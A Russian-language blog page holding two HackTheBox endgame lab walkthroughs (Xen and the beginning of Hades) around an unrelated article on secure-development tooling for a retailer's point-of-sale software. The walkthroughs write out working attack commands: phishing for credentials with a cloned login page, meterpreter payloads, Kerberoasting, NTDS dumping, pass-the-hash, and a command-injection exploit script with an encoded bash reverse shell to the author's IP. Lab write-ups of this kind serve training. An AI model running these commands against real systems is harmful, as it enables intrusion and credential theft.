Русский
Русский
English
Статистика
Реклама

Active directory

HackTheBox endgame. Прохождение лаборатории Xen. Пентест Active Directory

16.06.2020 22:15:58 | Автор: admin
image

В данной статье разберем прохождение не просто машины, а целой мини-лаборатории с площадки HackTheBox.

Как сказано в описании, Xen предназначен для проверки навыков на всех стадиях атак в небольшой среде Active Directory. Цель состоит в том, чтобы скомпрометировать доступный хост, повысить привилегии и, в конечном итоге, скомпрометировать весь домен, собрав при этом 6 флагов.

Посмотреть разбор еще одной лаборатории Professional Offensive Operations можно здесь.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Intro


Данный endgame состоит из 6 машин, и содержит 6 флагов.

image

Так же дается описание и адрес доступного хоста.

image

Начнем!

Breach flag


Данная машина имеет IP адрес 10.13.38.12, который я добавляю в /etc/hosts.
10.13.38.12 xen.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmapом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.12 --rate=500

image

Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.

nmap -A xen.htb -p25,80,443

image

Таким образом, мы имеем службы IIS и SMTP. При этом есть возможность как HTTP, так и HTTPS соединения на 80 и 443 портах. Давайте посмотрим веб нас встречают простеньким сайтом.

image

Ничего интересного нет, за исключением ссылки Join the team, указывающей нам адрес электронный почты jointheteam@humongousretail.com.

image

Давайте переберем директории. Я для этого использую gobuster. В параметрах указываем количество потоков 128 (-t), URL (-u), словарь (-w) и расширения, которые нас интересуют (-x).
gobuster dir -t 128 -u http://xen.htb/  -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,aspx

image

И находим несколько интересных директорий. Код 401 говорит о наличии HTTP аутентификации, давайте посмотрим в сторону remote.

image

Принимаем, и у нас требуют учетные данные.

image

Нам нужны учетные данные. На этом я решил вернуться к SMTP серверу и перебрать имена пользователей (в качестве списка имен советую использовать тот, что предлагает Metasploit). Сделаем это с помощью smtp-user-enum.
smtp-user-enum -M RCPT -U ./namelist.txt -D humongousretail.com -t xen.htb

image

Мы находим 4 адреса электронной почты. Так как мы видим почту IT службы, мы можем отправить от их имени сообщение всем остальным пользователям. Давайте скопируем страницу авторизации remote, сделаем поддельную и разошлем все пользователям поддельный адрес Remote Portal (на самом деле я был очень удивлен, когда оказалось, что это правильный вектор).

Сделать полную копию страницы можно с помощью расширения SingleFile для Firefox. Далее заглянем в исходный код и изменим данные формы. Первым изменим адрес, куда будут присланы учетные данные, я поставил свой хост и 81 порт.

image

И добавим Submit для отправки данных.

image

Теперь запустим netcat для прослушивания 81 порта, активируем веб-сервер и обратимся к измененному файлу, как к index.html.

image

image

Это работает! Давайте выполним рассылку сообщения о изменении адреса портала.

image

Но вот вектор правильный, а исполнение не очень) Так мы полчим данные, но в роботизированном виде на 80 порт.

image

Таким образом собираем все учетки.

image

И теперь заходим на remote.

image

И нам предлагаю сохранить ICA файл.

image

Далее я установил расширение для Chromium.

image

И подключился как pmorgan (VDESKTOP3).

image

image

Аналогично поступаем и с другими пользователями. И awardel находим первый флаг.

image

И сдаем его.

image

И сохраним собранную информацию.



Deploy flag


Можно заметить, что операционные системы не самые новые, поэтому обязательно должны быть эксплоиты. Давайте кинем шелл meterpreter. Сначала создадим нагрузку.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.14.14.9 LPORT=3434 -f exe > s.exe

image

Теперь запустим листенер metasploit.
handler -H 10.14.14.9 -P 3434 -p windows/x64/meterpreter/reverse_tcp

image

Зайдем через браузер на целевой машине, скачаем и запустим нагрузку. В окне Metasploit заметим подключение в первой сессии.

image

image

Теперь перечислим все эксплоиты для LPE.

image

И есть несколько. Давайте воспользуемся первым, он позволит получить контекст system. Запустим новый листенер.

image

И используем эксплоит.

image

Открывается вторая сессия в контексте SYSTEM.

image

Давайте проверим флаг.

image

И забираем его.





Вот так легко сдаем еще один флаг. Идем далее.

Ghost flag


Для дальнейшей разведки удобно использовать PowerShell, а еще удобней работать через PowerShell Empire (про который я писал тут). Давайте откроем сессию, для этого сперва создадим листенер http и PS лаунчер для него.
> listeners> uselistener http> set Host 10.14.14.9> set Port 5656> execute> back> launcher powershell http



Сохраним лаунчер в файл s.ps1. Для запуска его из памяти через meterpreter нужно загрузить модуль powershell.



И выполним powershell_import.



В окне Empire обнаружим созданный агент.



Для удобной работы переименуем его по названию рабочей станции и перейдем в интерактивный режим.





Для разведки нам нужно определить контроллер домена. Сделаем это с помощью одного прекрасного модуля get_domain_controller из раздела situational_awareness.
> usemodule situational_awareness/network/powerview/get_domain_controller> run



Так мы получаем информацию о контроллере домена. Теперь давайте перечислим пользователей домена. На данном этапе мне нужно получить имена учетных записей и значение свойства AdminCount, чтобы сразу определить привилегированных пользователей.
> usemodule situational_awareness/network/powerview/get_user> set Server DC.htb.local> set Properties samaccountname,admincount> run



Давайте сразу проверим SPN имена, чтобы определить возможность атаки Kerberoasting.
> usemodule situational_awareness/network/powerview/get_user> set Server DC.htb.local> set Properties serviceprincipalname> run



И есть SPN! Давайте выполним Kerberoasting с помощью того же Empire. Укажем формат вывода hashcat.
> usemodule credentials/invoke_kerberoast> set OutputFormat Hashcat> run



И получаем хеш пользователя. Теперь переберем с помощью hashcat.
hashcat -m 13100 -a 0 krb.hash rockyou.txt --force

В словаре rockyou данный пароль не обнаружен, поэтому я поставил перебор по всем словарям из Seclists. Но этот вариант тоже потерпел неудачу. Последний вариант воспользоваться NSA правилами.



Как представлено в репозитории, dive лучший вариант, поэтому используем его вторую версию.
hashcat -m 13100 krb.hash rockyou.txt -r nsa-rules/_NSAKEY.v2.dive.rule -debug-mode=1 -debug-file=rule.txt -d 2



И мы получаем пароль данного пользователя. Для дальнейшего продвижения давайте просканируем локальную сеть. Лучше всего это сделать с помощью с помощью ARP сканирования, так как ICMP может быт заблокирован. В этом нам поможет модуль arpscan.Мы знаем адрес и маску сети, поэтому зададим диапазон хостов.
> usemodule situational_awareness/network/arpscan> set Range 172.16.249.0-172.16.249.255> run



Так Из этого списка мы не знаем два хоста: 201 и 202. Давайте проверим общие ресурсы в домене. Из параметров нам нужен только адрес контроллера домена.
> usemodule situational_awareness/network/powerview/share_finder> set Server DC.htb.local> run



С каждым сканированием наше представление о сети расширяется, давайте узнаем, что за хост CITRIX.htb.local.



Ниже представлена аккумулируемая нами информация.



Чтобы взаимодействовать с ресурсами во внутренней сети, нам необходимо настроить туннель. Сделаем это в активной сессии meterpreter с помощью команды autoroute, а в качестве параметра укажем адрес внутренней сети и маску (с параметром -p можем проверить активные маршруты).
run autoroute -s 172.16.249.0/24 



Теперь, когда мы добавили маршрут к целевой сети, мы воспользуемся вспомогательным средством socks4a изнутри платформы. Вспомогательный модуль auxiliary/server/socks4a предоставляет прокси-сервер, который использует инфраструктуру маршрутизации Metasploit, которую мы создали для ретрансляции соединений.



А в качестве клиента-перенаправителя используем proxychains. Изменим его конфиг /etc/proxychains.conf, указав порт, установленный metasploit (порт по умолчанию 1080).



И для найденного пользователя доступна для чтения директория Citrix$. Так как proxychains выводит информацию о подключении, уберем ее с помощью перенаправления 2>/dev/null.
proxychains cme smb -u mturner -p '4install!' -d htb.local 172.16.249.201 --share "Citrix$" --shares 2>/dev/null



Давайте посмотрим все, что нам доступно на этом ресурсе.
proxychains smbmap -u mturner -p '4install!' -d htb.local -H 172.16.249.201 -R 2>/dev/null



И мы находим флаг, а также ppk файл. Давайте получим все файлы.
sudo proxychains smbclient //172.16.249.201/Citrix$ -U htb.local\\mturner%4install!



При подключении получаем ошибку, устранить которую можно указав опцию client min protocol.
sudo proxychains smbclient //172.16.249.201/Citrix$ -U htb.local\\mturner%4install! --option='client min protocol=NT1' 2>/dev/null



И сдадим флаг.





Camouflage flag


Давайте разберемся с приватным ключем Putty.



Данный приватный ключ зашифрован и предназначен для авторизации по SSH. Давайте переберем пароль, предназначенный для расшифрования ключа. Для этого сперва переформатируем ключ в john формат.



Но перебрать по стандартным словарям не вышло, и мне подсказали отличный инструмен генерации удобно набираемых паролей kwprocessor. Давайте создадим словарь.
./kwp -o key-dict.txt basechars/tiny.base keymaps/en.keymap routes/2-to-32-max-5-direction-changes.route




И мы успешно нашли 16-символьный пароль.
john --wordlist=./kwprocessor/key-dict.txt putty.john



Так как у меня Linux, мне удобней работать с обычным SSH клиентом. Переформатируем ключ в данный формат.
sudo apt install putty-toolsputtygen private.ppk -O private-openssh -o id_rsa

Теперь определимся, куда мы с ним можем попасть. Для этого просканировал внутреннюю сеть, чтобы найти открытый 22 порт.
proxychains nmap -p22 172.16.249.200-205 2>/dev/null



И находим, но об этом хосте мы еще ничего не знаем. Попытавшись подключиться без имени, получаем интересное сообщение и запрос пароля.



Перебор по именам известных нам пользователей результата не принес. Сканирование nmap данного сервиса с использованием скриптов тоже ничего не дало.



Тогда я просканировал все порты на хосте. Но дожидаться конца сканирования не стал, так как оно шло очень долго, благо в информации proxychains можно было наблюдать, доступен порт или нет.



Так как был доступен 80 порт, я установил прокси в браузере и зашел посмотреть что там.



Нас встречает страница авторизации Citrix NetScaler. И гугл выводит нас на документацию, в которой мы узнаем логин по умолчанию.





И с данным логин мы успешно подключаем по SSH.



Побродив на сервере, я посмотрел материалы по атакам на подобный вид оборудования, одной из которых является мониторинг трафика. Таким образом, я оставил активный на некоторое время tcpdump и получил дамп трафика.
tcpdump -s0 -w r.pcap



Теперь скачаем данный файл.
proxychains scp -i id_rsa nsroot@172.16.249.202:/root/r.pcap ./

И для быстрого поиска учетных данных используем PCredz.



И получаем еще флаг.



Doppelganger flag


Но данная программа смотрит не все, поэтому необходимо проанализировать дамп на наличие различных секретов или токенов. Отсортировав пакеты по протоколу, добираемся до LDAP и находим bindRequestы двух пользователей, в которых есть пароль (один мы уже нашли).





Проверим этот пароль для данного пользователя.
proxychains cme smb -u "netscaler-svc" -p "#S3rvice#@cc" -d htb.local 172.16.249.200 2>/dev/null



Данный пользователь ничем не примечателен, кроме того, что это пользователь службы. Часто пароли таких пользователей совпадают с паролями других пользователей домена. Давайте проверим, каким еще пользователям подойдет данный пароль. Я сделал это с помощью metasploit.
proxychains msfconsole 2>/dev/null> use auxiliary/scanner/smb/smb_login> set SMBDomain htb.local> set RHOSTS 172.16.249.200> set USER_FILE ~/tmp/users.txt> set PASS_FILE ~/tmp/passwords.txt> set VERBOSE false> run



И данный пароль подошел ко всем учетным записям служб. Как мы выяснили ранее, учетная запись backup-svc является привилегированной, а это значит, что для нее разрешен вход на контроллер домена. Проверим открытые порты RDP (3389) и WinRM (5985) служб.
proxychains nmap -p 3389,5985 172.16.249.200 2>/dev/null



Оба метода входа возможны, но я предпочитаю WinRM. Выполним вход с помощью программы Evil-WinRM.
proxychains evil-winrm -i 172.16.249.200 -u backup-svc -p "#S3rvice#@cc" 2>/dev/null



И забираем еще один флаг.



Owned flag


Посмотрев информацию о данном пользователе, видим его членство в привилегированных группах, благодаря чему мы можем выполнить копирование файла ntds.dit и извлечб учетные данные пользователей домена.
whoami /all



Из методов дампа файла ntds успешно выполняется вариант с discshadow. Давайте авторизуемся по RDP. В качестве клиента я использую remmina.
proxychains remmina





И нас встречает окно командной строки.



Войдем в контекст diskshadow.



И создадим копию диск Z.
set context persistence nowritersadd volume c: alias ssscreate expose %sss% z:



Проверим, и увидим копию файла ntds.dit.



Еще нам нужен файл System, чтобы расшифровать базу ntds, но его получить легче.
reg.exe save hklm\system C:\Users\backup-svc\Documents\system.bak



Но это еще не все, ведь просто так файл ntds не скопировать. Для этого используем следующий инструмент. Для начала загружаем на хост обе DLL.



И загружаем в память.



Теперь активируем себе привелегию и проверим, что она в состоянии Enabled.
Set-SeBackupPrivilegeWhoami /priv | findstr Backup



Отлично, теперь копируем файл.
Copy-FileSeBackupPrivilege z:\windows\ntds\ntds.dit C:\Users\backup-svc\Documents\ntds.dit

А теперь скачиваем на локальный хост файлы ntds и system (и именно в этот момент лаборатория закрывается и я теряю доступ, прям во время загрузки файлов Оказалось, что лаборатория стала доступна только пользователям с подпиской (ушла на дорешивание) и я не могу закончить прохождение! Но большое спасибо @kemstat, что поделился на время ВИП конфигом ВПН, дабы я дописал данное прохождение). Давайте достанем учетные данные.
secretsdump.py -ntds ndts.dit -system system.bak LOCAL



И есть хеш администратора. Теперь используем атаку PTH для подключения к серверу. Но psexec (подключение через SMB) не дает нам прочитать файл.





А вот WMI дает нам неограниченный доступ и мы получаем привилении администратора домена и последний флаг.
proxychains wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:822601ccd7155f47cd955b94af1558be Administrator@172.16.249.200 2>/dev/null



Вот и все. В качестве обратной связи, прокомментируйте узнали ли Вы что-то новое из данной статьи и была ли она Вам полезна.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Подробнее..

Строим безопасную разработку в ритейлере. Опыт интеграции с кассовым ПО GK

26.11.2020 10:08:34 | Автор: admin
Что самое сложное в проектной работе? Пожалуй, свести к общему знаменателю ожидания от процесса и результата у заказчика и исполнителя. Когда мы начинали внедрять безопасную разработку в группе GK-приложений (кассового ПО) крупного ритейлера, то на входе имели вагон времени и задачи снижения уязвимостей в коде. А вот что и как нам пришлось решать на практике, мы вам расскажем под катом.
Кстати, это уже третий пост, в котором мы делимся своим опытом выстраивания процесса безопасной разработки для крупного ритейлера. Если пропустили, можете прочитать первые две части: о безопасной разработке порталов и мобильных приложений и о безопасной разработке в группе приложений SAP.



О проекте


С этого скоупа мы начинали, когда пришли к заказчику. Согласно стартовому плану проекта, у нас были довольно вольготные сроки его реализации. Мы очень радовались, наивно думая, что сможем вести несколько проектов одновременно. В итоге мы почти все время уделяли именно кассовому ПО, потому что все оказалось гораздо сложнее. В целом, это стало самым сложным направлением интеграции, поскольку здесь требовалась наиболее серьезная автоматизация процесса.

Во-первых, мы столкнулись с мощной бюрократической машиной. Каждое действие требовало постоянных согласований, внесения в них правок, отчётов, их исправлений, запросов, ожиданий ответов и получений уточнений, которые меняли подходы и требовали серьёзных трудозатрат. А во-вторых, с тем, что у представителей заказчика не было ни желания, ни времени нам помогать.

GK


GK это по сути фреймворк, на основе которого можно создавать свою кастомизацию кассового ПО. Заказчик несколько лет назад выкупил у GK некоторую часть исходного кода этого софта для создания собственной версии, соответственно, это направление представляло собой очень большую группу разработки. Большая часть ПО написана на языке Java (90% проектов). Встречались и некоторые проекты, написанные на C++ с использованием довольно древних библиотек, поскольку аппаратное обеспечение было заточено под этот стек технологий. Для Windows под Windows Server 2008 и под набор библиотек для Visual Studio, для которых данная версия ОС была последней совместимой.

В группе имелись свои жесткие процессы разработки, свои релизные циклы. Процесс ветвления был похож на Gitflow с основной веткой разработки и feature-ветками под разнообразные задачи. Однако feature-ветки могли быть в статусе разработки месяцами (часто готовые к merge, но заброшенные) и вливались прямо перед релизом, в который они по плану должны были войти.

Помимо внедрения в CI/CD мы еще внедрялись и в Jira, для чего нам пришлось создать отдельную сущность для классификации задач уязвимость. Этот вид задачи позволял заводить уязвимости внутри Jira в соответствии с процессом разработки и работы с таск-трекером.

Направление GK имело длинный процесс разработки, когда создается feature на какой-либо функционал, а потом эта feature-ветка может жить очень долго отдельно от основной ветки разработки. Ее могут верифицировать, но не могут влить в master или development почти вплоть до самого релиза ввиду технических сложностей регрессионного тестирования и т.п.

Решение для интеграции


Когда мы пришли в группу GK внедрять Solar appScreener, мы были удивлены огромным количеством кода в проектах этого направления и предложили стандартный вариант сканирования основной ветки разработки. Разработчики сказали, что они тоже хотят получать информацию об уязвимостях и тоже хотят пользоваться анализатором, но не так, как офицеры безопасности. Им нужна была автоматизация проверки на уязвимости: единая точка входа в виде GitLab, где можно видеть все изменения. Чтобы на сканирование автоматически запускался код не только основной ветки разработки, но и всех побочных веток. При этом нужен был автоматизированный запуск из Jira и по просьбе заказчика полуавтоматизированный из Jenkins и GitLab.

В итоге мы решили, что самым простым способом анализа ветки (в особенности для долгих feature-веток) будет запуск сканирования таким образом, чтобы задача в Jira при ее полном завершении (финальном push-е) переводилась в статус in review. После чего она попадала к специалисту, который может принять изменения и дать добро на старт сканирования кода на уязвимости. Иначе анализ кода по каждому push-у разработчика в репозитории создал бы адскую нагрузку и на людей, и на технику. Разработчики комитили код в репозитории не реже раза в пять минут, и при этом проекты порой содержали по 3,5 млн строк кода, одно сканирование которого, соответственно, длилось 6-8 часов. Такое никакими ресурсами не покроешь.

Стек технологий


Теперь немного о том, какой набор технологий использовался в проекте. GitLab в качестве системы контроля версий, Jenkins в качестве CI/CD-системы, Nexus в качестве хранилища артефактов и Jira в качестве системы отслеживания задач. При этом сами разработчики взаимодействовали только с Jira и с GitLab, тогда как с Jenkins инженеры, а с Solar appScreener безопасники. Вся информация об уязвимостях в коде присутствовала в GitLab и Jira.

Поэтому пришлось организовать процесс сканирования следующим образом: в Jira задача переводилась в in review через Jenkins, так как была необходима сборка. Имелся целый стек из Jenkins-плагинов и скриптов, которые получали веб-хук из Jira. То есть помимо вида задачи уязвимость нам пришлось создавать в Jira еще и веб-хуки, которые при изменении проекта в GK отправлялись в Jenkins и требовали дополнительных шагов по настройке и серьёзной доработке двусторонней интеграции. Процесс был таким: когда в GK обновлялась какая-либо задача, Jira проверяла, соответствует ли эта задача тем, которые должны отправляться в Jenkins, а именно является ли это задачей разработки. И только после этого веб-хук уходил в Jenkins, который парсил веб-хук и на основе тела запроса понимал, какому репозиторию в GitLab и какой группе работ (job-ов) нужно запускаться.

Разработчики GK выставили ряд требований при заведении задач в Jira, и мы старались их использовать по полной, чтобы получить максимальное количество информации. Благодаря этому мы смогли правильно матчить репозитории в GitLab и ветку, которую мы должны были стянуть из конкретного репозитория для ее запуска на анализ. В требованиях мы жестко прописали, что ветка в GitLab обязательно должна содержать в названии номер задачи в Jira. В принципе, это best practice, который используется повсеместно в самой задаче должны быть метки, маркирующие, к какой части приложения/системы относится проблема.

На основе веб-хука, в котором содержалось название проекта, метки, поля с компонентами, а также ключ самой задачи и т.п., происходило автоматическое определение необходимости запуска всех задач. Часть проектов получала ответ всех значений удовлетворительно и после этого отправлялась на сканирование. А именно: поступал запрос в GitLab, проверялось наличие в нем данной ветки разработки, и при подтверждении система запускала сканирование новой части кода этой ветки в Solar appScreener.

Учитываем пожелания



Кадр из мультфильма Вовка в тридевятом царстве

Поскольку уязвимостей в GK-проектах было десятки тысяч, разработчики не хотели видеть их все. Меж тем в коде содержались порой критичные уязвимости: вставленные в код пароли, отраженные межсайтовые скриптинги, SQL-инъекции и т.п.

Разработчики планировали исправлять уязвимости в бэклоге, а прежде всего хотели видеть изменения: то есть появившиеся в новом коде уязвимости по сравнению с кодом предыдущей версии.

Однако реализованные в нашем продукте механизмы не подразумевают инкрементальный анализ для Java: анализируется байт-код, и невозможно проверить только измененные файлы, потому что теряется связность кода. Изменился один файл, использующий несколько библиотек или других пакетов, которые принадлежат тому же исходному коду, тогда и вся информация об уязвимости теряется. Поэтому мы сразу обозначили заказчику, что в данном случае возможен анализ исходного кода только целиком, и предложили следующую схему.

Как и для остальных проектов компании, мы выстроили для GK соответствие проекта в GitLab проекту в Solar appScreener, а дополнительно провели корреляцию с веткой разработки. Чтобы разработчикам и офицерам ИБ было проще искать, мы создали файл с реестром названия группы репозиториев, конкретного проекта из этой группы и ветки в Solar appScreener.

Кроме того, разработчики хотели видеть комментарии с изменениями сразу в GitLab, и вот как мы это сделали.

Интеграция с GitLab


Сначала мы сканировали основную ветку разработки для каждого репозитория, от которой шла ветка с изменениями. Поскольку разработчики хотели видеть комментарии с изменениями сразу в GitLab, мы договорились, что если ветка переведена в статус in review, это значит, что уже есть соответствующий merge request на ее вливание. Система проверяла, что merge request был действительно открыт, и если это подтверждалось, то Solar appScreener анализировал основную ветку разработки. Затем он сканировал ветку с изменениями, строил diff, выгружал его, получал только новые уязвимости, брал из них критичные (наш инструмент позволяет настраивать уровни критичности) и преобразовывал их описание в формат текстовых сообщений со ссылкой на данное вхождение в конкретном проекте в Solar appScreener (см.скриншот ниже). Эти сообщения отправлялись в GitLab в виде дискуссии от имени технической учетной записи. В merge request вместе с измененным кодом можно было увидеть непосредственно строку срабатывания. Её сопровождал адресованный конкретному разработчику комментарий в GitLab типа вот здесь содержится уязвимость, пожалуйста, поправьте или закройте ее.



Таким образом, между этими двумя сканированиями мы выявляли изменения, которые привнес разработчик. Если количество уязвимостей увеличивалось, это обязательно отражалось в комментариях отчёта. Такая схема была очень удобна для всех участников, потому что в GitLab сразу же появлялись неразрешенные дискуссии, а это значит, что merge request влить нельзя. И ответственный за approve merge requestа видел, что разработчик допустил уязвимости, и их нужно закрыть.

Интеграция с Active Directory


Чтобы просматривать уязвимости через Solar appScreener, разработчикам нужны были права. Поэтому помимо всей интеграции с системами разработки и со всеми тремя скоупами мы еще интегрировались и с сервисами Active Directory. Для нас некоторую сложность представляло то, что у заказчика был чудовищно большой AD с миллионом вложенных групп, что потребовало множества оптимизаций. То есть помимо внедрения CI/CD нам приходилось в процессе решать много сопутствующих задач настройки, адаптации и оптимизации (см. скриншот ниже).



Что касается интеграции с Active Directory, разработчики GK не хотели настраивать параметры доступа в ряд проектов Solar appScreener непосредственно в AD, потому что они не были владельцами этого ресурса. В компании процесс выдачи прав доступа выглядел следующим образом: если разработке нужно было внести нового человека в группу, приходилось писать заявку в техподдержку. Там определяли, кому именно отправлять данный запрос, кто отвечает за выдачу подобных прав, действительно ли можно выдать этому человеку права, авторизованы они или нет и т.п.

Это трудоемкий процесс, которым разработчики не управляли, в отличие от GitLab.Поэтому они попросили организовать интеграцию с AD следующим образом. Они разрешают видеть уязвимости не только техвладельцам системы и офицерам безопасности, как это было сделано для других направлений, но и сделать матчинг прав в GitLab. То есть если человек имеет права разработчика и выше (maintainer, владелец репозитория), то он может просматривать соответствующие проекты в Solar appScreener, которые относятся к этому репозиторию. Когда в Solar appScreener создавался новый проект, система запрашивала имена всех, кто состоит в GitLab в данном репозитории с уровнем доступа выше разработчика. Список выгружался, поступало обращение в анализатор кода, который в свою очередь отправлял запрос в AD с добавлением списка отобранных людей. Все, кто состоял в данном репозитории в GitLab, получали автоматические права через свои AD-учетки на доступ к проекту в Solar appScreener. В конце всей цепочки генерился pdf-файл с отчетом по уязвимостям из анализатора кода. В отчете содержался diff, который рассылался списку пользователей проектов GK на электронную почту.

Резюме


Реализованная интеграция с кассовым ПО GK это пример весьма масштабного проекта внедрения и автоматизации в компании процесса безопасной разработки, который был выстроен не только вокруг службы информационной безопасности, но и вокруг разработчиков. Причем в этой группе проектов так же, как и в других группах, параллельно шли сканирования основной ветки разработки: офицеры безопасности тоже заводили задачи в Jira и их верифицировали. Уязвимости заносились в бэклог и позже исправлялись.

Разработчики получили для себя удобный инструмент, встроенный в привычную среду и workflow. Так как они выбрали для себя порог из топ критических уязвимостей, которые довольно редко возникают, их нагрузка несильно возросла после внедрения. В итоге довольны оказались все участники проекта: и те, кто стремился повысить безопасность кода, и те, кому приходилось исправлять уязвимости.

Если у вас есть собственный опыт реализации практик безопасной разработки, пожалуйста, поделитесь им в комментариях!

Напомним: это третья часть цикла статей о построении процесса безопасной разработки в крупном ритейлере. В следующем посте будем подводить итоги работы над этим масштабным проектом: поговорим о том, чему мы научились в процессе, и какое развитие получил наш инструмент благодаря такому опыту.

Автор: Иван Старосельский, руководитель отдела эксплуатации и автоматизации информационных систем
Подробнее..

HackTheBox endgame. Прохождение лаборатории Hades. Пентест Active Directory

29.12.2020 00:19:38 | Автор: admin


В данной статье разберем прохождение не просто машины, а целой мини-лаборатории с площадки HackTheBox.

Как сказано в описании, Hades предназначен для проверки навыков на всех стадиях атак в небольшой среде Active Directory. Цель состоит в том, чтобы скомпрометировать доступный хост, повысить привилегии и, в конечном итоге, скомпрометировать весь домен, собрав при этом 7 флагов.

Посмотреть разборы других лабораторий:
1.Professional Offensive Operations.
2.XEN.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Intro


Данный endgame состоит из 3 машин, и содержит 7 флагов.
1. Chasm flag RCE (command injection) + Initial Access;
2. Guardian flag Enumeration + ASREP Roasting;
3. Messenger flag Printer Bug + Silver Ticket + Service Control
4. Resurrection flag Creds Access and Dumping
5. Gateway flag BloodHound + Control account
6. Celestial flag ADIDNS + Responder
7. Dominion flag Lateral Movement



Так же дается описание и адрес доступного хоста.



Начнем!

Chasm flag


Данная машина имеет IP адрес 10.13.38.16, который я добавляю в /etc/hosts.
10.13.38.16 hades.htb

Первым делом сканируем открытые порты. Для этого я использую следующий скрипт, который проведет сканирование со скоростью 500 пакетов в секунду с помощью nmap, и определит отвечающие порты, после чего мы используем для этих портов встроенные скрипты nmap (опция -А).
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1



И у нас открыт только 443 порт, отвечающий за соединение по протоколу HTTPS. Осмотревшись на сайте, отметим только домен gigantichosting.com и интересный сервис Certificate Checker.



Данный сервис просит указать IP адрес, причем происходит вывод (скорее всего) из командной строки. Давайте откроем у себя порт c использованием SSL и посмотрим входящий запрос. Для этого запустим ncat и обратимся к своему IP.



Давайте проверим, используется ли командная строка. Для этого в обращении к директории на нашем сервере вставим вложенную команду.
10.14.14.4:554/$(whoami)


И получаем имя пользователя, значит присутствует OS Command Injection! Давайте попробуем кинуть реверс шелл. Для этого будем использовать простой bash reverse-shell:
bash -i >& /dev/tcp/10.14.14.4/4321 0>&1

Но чтобы избежать неудобных символов, закодируем его в base64.



На стороне сервера нужно будет выполнить команду декодирования и передачи вывода в bash. При этом, вместо пробелов будем использовать конструкцию ${IFS}.
echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xNC4xNC40LzQzMjEgMD4mMQo=|base64${IFS}-d|bash

Давайте откроем порт для прослушивания и выполним запрос.
10.13.38.16/$(echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xNC4xNC40LzQzMjEgMD4mMQo=|base64${IFS}-d|bash)



Таким образом, мы получаем бэкконнект. Но так как это лаборатория и шелл нестабильный, давайте напишем скрипт, запуская который мы будем легко создавать новый бэкконнект (это лишь для удобства). Все необходимые для этого данные возьмем из браузера.



Создадим python скрипт.
import requestsimport urllib3urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)payload = "10.13.38.16/$(echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xNC4xNC40LzQzMjEgMD4mMQo=|base64${IFS}-d|bash)"params = {'name': payload}response = requests.post(url='https://10.13.38.16/ssltools/certificate.php', data=params, verify=False)

А теперь попробуем в качестве нагрузки использовать meterpreter. Давайте сначала сгенерируем пэйлоад.
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.14.14.4 LPORT=4321 -f elf -o r.elf



Теперь используем конструкцию следующего вида. Мы кодируем наш файл в base64.



На стороне сервера, это нужно будет декодировать и записать в файл, после чего присвоить право на исполнение и выполнить. Все три действия еще раз кодируем в base64, таким образом нагрузка будет удовлетворять условиям нашего эксплоита.
echo "echo $(base64 -w0 r.elf) | base64 -d > /tmp/r ; chmod +x /tmp/r ; exec /tmp/r" | base64 -w0 ; echo



Вставляем данную строку, вместо base64 строки нашей нагрузки в python коде. Далее необходимо запустить листенер.
handler -p linux/x64/meterpreter/reverse_tcp -H 10.14.14.4 -P 4321



И давайте выполним наш эксплоит. Мы сразу увидим активное подключение в окне Metasploit быстро и удобно.



И сразу в текущей директории находим первый флаг.



Таким образом, мы получаем точку опоры на первом хосте.

Guardian flag


Первым делом, перечислим систему, на которую мы попали. Я использую LinPEAS.



Из вывода мы узнаем, что находимся в докер контейнере.



Так же находим еще один хост 192.168.99.1.



Посмотрим информацию о сетевых интерфейсах.



И в своей сети находим еще один хост.



Так как на хосте не было средств сканирования, скачаем скомпилированный с зависимостями nmap здесь и загрузим его на хост.



Далее просканируем два найденных хоста.





Обратившись к 443 порту на 192.168.99.1 получим уже знакомый сайт, откуда был сделан вывод, что именно на 192.168.99.1 развернут докер. Так как больше интересного на данном хосте найдено не было, я перешел к 172.17.0.1. Так как и там 443 порт ответил знакомым сайтом, то это тот же докер. И у нас успешно получается подключиться по ssh с дефолтными учетными данными (docker:tcuser). И сразу переходим к пользователю root.
shellpython3 -c 'import pty;pty.spawn("/bin/bash")'ssh docker@172.17.0.1



